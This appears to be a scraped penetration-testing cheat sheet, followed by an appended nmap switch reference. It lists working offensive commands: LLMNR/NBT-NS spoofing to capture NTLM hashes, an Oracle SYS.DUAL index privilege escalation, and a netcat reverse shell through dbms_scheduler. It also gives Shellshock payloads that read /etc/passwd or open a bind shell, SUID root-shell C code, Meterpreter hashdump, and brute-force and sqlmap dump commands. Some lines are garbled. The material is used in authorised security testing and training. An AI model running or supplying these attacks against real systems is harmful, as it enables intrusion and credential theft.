COMMANDDESCRIPTION
nbtscan 192.168.1.0/24Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ipDo Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
Fingerprint SMB Version
smbclient -L //192.168.1.100 
Find open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   
Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid
Manual Null session testing:

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131
NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
Run Responder.py for the whole engagement

Run Responder.py for the length of the engagement while you’re working on other attack vectors.

SNMP Enumeration Tools

A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
COMMANDDESCRIPTION
snmpcheck -t 192.168.1.X -c publicsnmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.Xonesixtyone -c names -i hosts
SNMP enumeration

SNMPv3 Enumeration Tools

Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Use Metasploits Wordlist

Metasploit’s wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler’s SecLists project on GitHub (not the mailing list!).

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration

RSH Run Commands
rsh <target> <command>
Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh_login
rusers Show Logged in Users
rusers -al 192.168.2.1
rusers scan whole Subnet
rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

finger batman@TARGET-IP 

Solaris bug that shows all logged in users:

finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost 

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh

Test all the things on a single host and output to a .html file:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html  

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 – credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

apt-get install oscanner  

Run oscanner:

oscanner -s 192.168.1.200 -P 1521 

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

Brute force oracle user accounts

Identify default Oracle accounts:

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

Run nmap scripts against Oracle TNS:

nmap -p 1521 -A TARGET

Oracle Privilege Escalation

Requirements:

  • Oracle needs to be exposed on the network
  • A default account is in use like scott

Quick overview of how this works:

  1. Create the function
  2. Create an index on table SYS.DUAL
  3. The index we just created executes our function SCOTT.DBA_X
  4. The function will be executed by SYS user (as that’s the user that owns the table).
  5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:
SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs; 

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:
drop index exploit_1337; 
Get Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end; 

MSSQL

Enumeration / Discovery:

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping
Use MS SQL Servers Browse For More

Try using “Browse for More” via MS SQL Server Management Studio

Bruteforce MSSQL Login

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Network

Plink.exe Tunnel

PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Pivoting

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

OPERATING SYSTEMTTL SIZE
Windows128
Linux64
Solaris255
Cisco / Network255

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

CLASSIP ADDRESS RANGE
Class A IP Address Range0.0.0.0 - 127.255.255.255
Class B IP Address Range128.0.0.0 - 191.255.255.255
Class C IP Address Range192.0.0.0 - 223.255.255.255
Class D IP Address Range224.0.0.0 - 239.255.255.255
Class E IP Address Range240.0.0.0 - 255.255.255.255

IPv4 Private Address Ranges

CLASSRANGE
Class A Private Address Range10.0.0.0 - 10.255.255.255
Class B Private Address Range172.16.0.0 - 172.31.255.255
Class C Private Address Range192.168.0.0 - 192.168.255.255
127.0.0.0 - 127.255.255.255

IPv4 Subnet Cheat Sheet

Subnet cheat sheet, not really realted to pen testing but a useful reference.

CIDRDECIMAL MASKNUMBER OF HOSTS
/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2496 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0512 Host
/22255.255.252.01022 Hosts
/21255.255.248.02046 Hosts
/20255.255.240.04094 Hosts
/19255.255.224.08190 Hosts
/18255.255.192.016382 Hosts
/17255.255.128.032766 Hosts
/16255.255.0.065534 Hosts
/15255.254.0.0131070 Hosts
/14255.252.0.0262142 Hosts
/13255.248.0.0524286 Hosts
/12255.240.0.01048674 Hosts
/11255.224.0.02097150 Hosts
/10255.192.0.04194302 Hosts
/9255.128.0.08388606 Hosts
/8255.0.0.016777214 Hosts

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

VPN Pentesting Tools

Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

  1. Identify VPN Servers
  2. Enumerate with IKEForce to obtain the group ID
  3. Use ike-scan to capture the PSK hash from the IKE endpoint
  4. Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers
./udp-protocol-scanner.pl -p ike SUBNET/24
Step 2: Enumerate group name with IKEForce
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Step 3: Use ike-scan to capture the PSK hash
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Step 4: Use psk-crack to crack the PSK hash
psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling

Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

Attacking Machine

Installtion:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Run dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

COMMANDDESCRIPTION
searchsploit windows 2003 | grep -i localSearch exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3Use google to search exploit-db.com for exploits
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
Search metasploit modules using grep – msf search sucks a bit

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell
nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

COMMANDDESCRIPTION
python -m SimpleHTTPServer 80Run a basic http server, great for serving up shells etc
python3 -m http.serverRun a basic Python3 http server, great for serving up shells etc
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"
Run a ruby webrick basic http server
php -S 0.0.0.0:80Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

COMMANDDESCRIPTION
mount 192.168.1.1:/vol/share /mnt/nfsMount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
Mount a Windows share on Windows from the command line
apt-get install smb4k -yInstall smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

COMMANDDESCRIPTION
nikto -h 192.168.1.1Perform a nikto scan against target
dirbusterConfigure via GUI, CLI input doesn’t work most of the time

Packet Inspection

COMMANDDESCRIPTION
tcpdump tcp port 80 -w output.pcap -i eth0tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

COMMANDDESCRIPTION
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID cycle SMB / enumerate users from SMB

SNMP User Enumeration

COMMANDDESCRIPTION
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

COMMANDDESCRIPTION
/usr/share/wordlistsKali word lists

Brute Forcing Services

Hydra FTP Brute Force

COMMANDDESCRIPTION
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP brute force

Hydra POP3 Brute Force

COMMANDDESCRIPTION
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Hydra POP3 brute force

Hydra SMTP Brute Force

COMMANDDESCRIPTION
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

Password cracking penetration testing tools.

John The Ripper – JTR

COMMANDDESCRIPTION
john --wordlist=/usr/share/wordlists/rockyou.txt hashesJTR password cracking
john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR forced descrypt cracking with wordlist
john --format=descrypt hash --showJTR forced descrypt brute force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

COMMANDDESCRIPTION
process.h, string.h, winbase.h, windows.h, winsock2.hWindows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux exploit code

Build Exploit GCC

Compile exploit gcc.

COMMANDDESCRIPTION
gcc -o exploit exploit.cBasic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

COMMANDDESCRIPTION
gcc -m32 exploit.c -o exploitCross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

COMMANDDESCRIPTION
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exeCompile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c  

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit Cheat Sheet

A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

COMMANDDESCRIPTION
set payload windows/meterpreter/reverse_tcpWindows reverse tcp payload

Windows VNC Meterpreter payload

COMMANDDESCRIPTION
set payload windows/vncinject/reverse_tcpset ViewOnly falseMeterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

COMMANDDESCRIPTION
set payload linux/meterpreter/reverse_tcpMeterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

COMMANDDESCRIPTION
upload file c:\\windowsMeterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exeMeterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -c Creates new channel with cmd shell
psMeterpreter show processes
shellMeterpreter get shell on the target
getsystemMeterpreter attempts priviledge escalation the target
hashdumpMeterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r targetMeterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r targetMeterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

COMMANDDESCRIPTION
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

COMMANDDESCRIPTION
use exploit/windows/local/bypassuacBypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

COMMANDDESCRIPTION
use auxiliary/scanner/http/dir_scannerMetasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle Login Module

Metasploit Powershell Modules

COMMANDDESCRIPTION
use exploit/multi/script/web_deliveryMetasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershellMetasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS deploy
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

COMMANDDESCRIPTION
run post/windows/gather/win_privsMetasploit show privileges of current user
use post/windows/gather/credentials/gppMetasploit grab GPP saved passwords
load mimikatz -> wdigestMetasplit load Mimikatz
run post/windows/gather/local_admin_search_enumIdenitfy other machines that the supplied domain user has administrative access to
run post/windows/gather/smart_hashdumpAutomated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCIICHARACTER
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

CISCO IOS Commands

A collection of useful Cisco IOS commands.

COMMANDDESCRIPTION
enableEnters enable mode
conf tShort for, configure terminal
(config)# interface fa0/0Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# line vty 0 4Configure vty line
(config-line)# loginCisco set telnet password
(config-line)# password YOUR-PASSWORDSet telnet password
# show running-configShow running config loaded in memory
# show startup-configShow sartup config
# show versionshow cisco IOS version
# show sessiondisplay open sessions
# show ip interfaceShow network interfaces
# show interface e0Show detailed interface info
# show ip routeShow routes
# show access-listsShow access lists
# dir file systemsShow available files
# dir all-filesystemsFile information
# dir /allSHow deleted files
# terminal length 0No limit on terminal output
# copy running-config tftpCopys running config to tftp server
# copy running-config startup-configCopy startup-config to running-config

Cryptography

Hash Lengths

HASHSIZE
MD5 Hash Length16 Bytes
SHA-1 Hash Length20 Bytes
SHA-256 Hash Length32 Bytes
SHA-512 Hash Length64 Bytes

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

HASHEXAMPLE
MD5 Hash Example8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Exampleb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash Exampleb4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

A mini SQLMap cheat sheet:

COMMANDDESCRIPTION
sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
Scan url for union + error based injection with mysql backend 
and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --formssqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
sqlmap dump and crack hashes for table users on database-name.

from

nmap常用命令表

$
0
0

nmap常用命令表

Target Specification

SwitchExampleDescription
nmap 192.168.1.1Scan a single IP
nmap 192.168.1.1 192.168.2.1Scan specific IPs
nmap 192.168.1.1-254Scan a range
nmap scanme.nmap.orgScan a domain
nmap 192.168.1.0/24Scan using CIDR notation
-iLnmap -iL targets.txtScan targets from a file
-iRnmap -iR 100Scan 100 random hosts
–excludenmap –exclude 192.168.1.1Exclude listed hosts

Scan Techniques

SwitchExampleDescription
-sSnmap 192.168.1.1 -sSTCP SYN port scan (Default)
-sTnmap 192.168.1.1 -sTTCP connect port scan
(Default without root privilege)
-sUnmap 192.168.1.1 -sUUDP port scan
-sAnmap 192.168.1.1 -sATCP ACK port scan
-sWnmap 192.168.1.1 -sWTCP Window port scan
-sMnmap 192.168.1.1 -sMTCP Maimon port scan

Host Discovery

SwitchExampleDescription
-sLnmap 192.168.1.1-3 -sLNo Scan. List targets only
-snnmap 192.168.1.1/24 -snDisable port scanning. Host discovery only.
-Pnnmap 192.168.1.1-5 -PnDisable host discovery. Port scan only.
-PSnmap 192.168.1.1-5 -PS22-25,80TCP SYN discovery on port x.Port 80 by default
-PAnmap 192.168.1.1-5 -PA22-25,80TCP ACK discovery on port x.Port 80 by default
-PUnmap 192.168.1.1-5 -PU53UDP discovery on port x.Port 40125 by default
-PRnmap 192.168.1.1-1/24 -PRARP discovery on local network
-nnmap 192.168.1.1 -nNever do DNS resolution

Port Specification

SwitchExampleDescription
-pnmap 192.168.1.1 -p 21Port scan for port x
-pnmap 192.168.1.1 -p 21-100Port range
-pnmap 192.168.1.1 -p U:53,T:21-25,80Port scan multiple TCP and UDP ports
-p-nmap 192.168.1.1 -p-Port scan all ports
-pnmap 192.168.1.1 -p http,httpsPort scan from service name
-Fnmap 192.168.1.1 -FFast port scan (100 ports)
–top-portsnmap 192.168.1.1 –top-ports 2000Port scan the top x ports
-p-65535nmap 192.168.1.1 -p-65535Leaving off initial port in range
makes the scan start at port 1
-p0-nmap 192.168.1.1 -p0-Leaving off end port in rangemakes the scan go through to port 65535

Service and Version Detection

SwitchExampleDescription
-sVnmap 192.168.1.1 -sVAttempts to determine the version of the service running on port
-sV –version-intensitynmap 192.168.1.1 -sV –version-intensity 8Intensity level 0 to 9. Higher number increases possibility of correctness
-sV –version-lightnmap 192.168.1.1 -sV –version-lightEnable light mode. Lower possibility of correctness. Faster
-sV –version-allnmap 192.168.1.1 -sV –version-allEnable intensity level 9. Higher possibility of correctness. Slower
-Anmap 192.168.1.1 -AEnables OS detection, version detection, script scanning, and traceroute

OS Detection

SwitchExampleDescription
-Onmap 192.168.1.1 -ORemote OS detection using TCP/IP
stack fingerprinting
-O –osscan-limitnmap 192.168.1.1 -O –osscan-limitIf at least one open and one closed
TCP port are not found it will not try
OS detection against host
-O –osscan-guessnmap 192.168.1.1 -O –osscan-guessMakes Nmap guess more aggressively
-O –max-os-triesnmap 192.168.1.1 -O –max-os-tries 1Set the maximum number x of OS
detection tries against a target
-Anmap 192.168.1.1 -AEnables OS detection, version detection, script scanning, and traceroute

Timing and Performance

SwitchExampleDescription
-T0nmap 192.168.1.1 -T0Paranoid (0) Intrusion Detection
System evasion
-T1nmap 192.168.1.1 -T1Sneaky (1) Intrusion Detection System
evasion
-T2nmap 192.168.1.1 -T2Polite (2) slows down the scan to use
less bandwidth and use less target
machine resources
-T3nmap 192.168.1.1 -T3Normal (3) which is default speed
-T4nmap 192.168.1.1 -T4Aggressive (4) speeds scans; assumes
you are on a reasonably fast and
reliable network
-T5nmap 192.168.1.1 -T5Insane (5) speeds scan; assumes you
are on an extraordinarily fast network
SwitchExample inputDescription
–host-timeout <time>1s; 4m; 2hGive up on target after this long
–min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>1s; 4m; 2hSpecifies probe round trip time
–min-hostgroup/max-hostgroup <size<size>50; 1024Parallel host scan group
sizes
–min-parallelism/max-parallelism <numprobes>10; 1Probe parallelization
–scan-delay/–max-scan-delay <time>20ms; 2s; 4m; 5hAdjust delay between probes
–max-retries <tries>3Specify the maximum number
of port scan probe retransmissions
–min-rate <number>100Send packets no slower than <numberr> per second
–max-rate <number>100Send packets no faster than <number> per second

NSE Scripts

SwitchExampleDescription
-sCnmap 192.168.1.1 -sCScan with default NSE scripts. Considered useful for discovery and safe
–script defaultnmap 192.168.1.1 –script defaultScan with default NSE scripts. Considered useful for discovery and safe
–scriptnmap 192.168.1.1 –script=bannerScan with a single script. Example banner
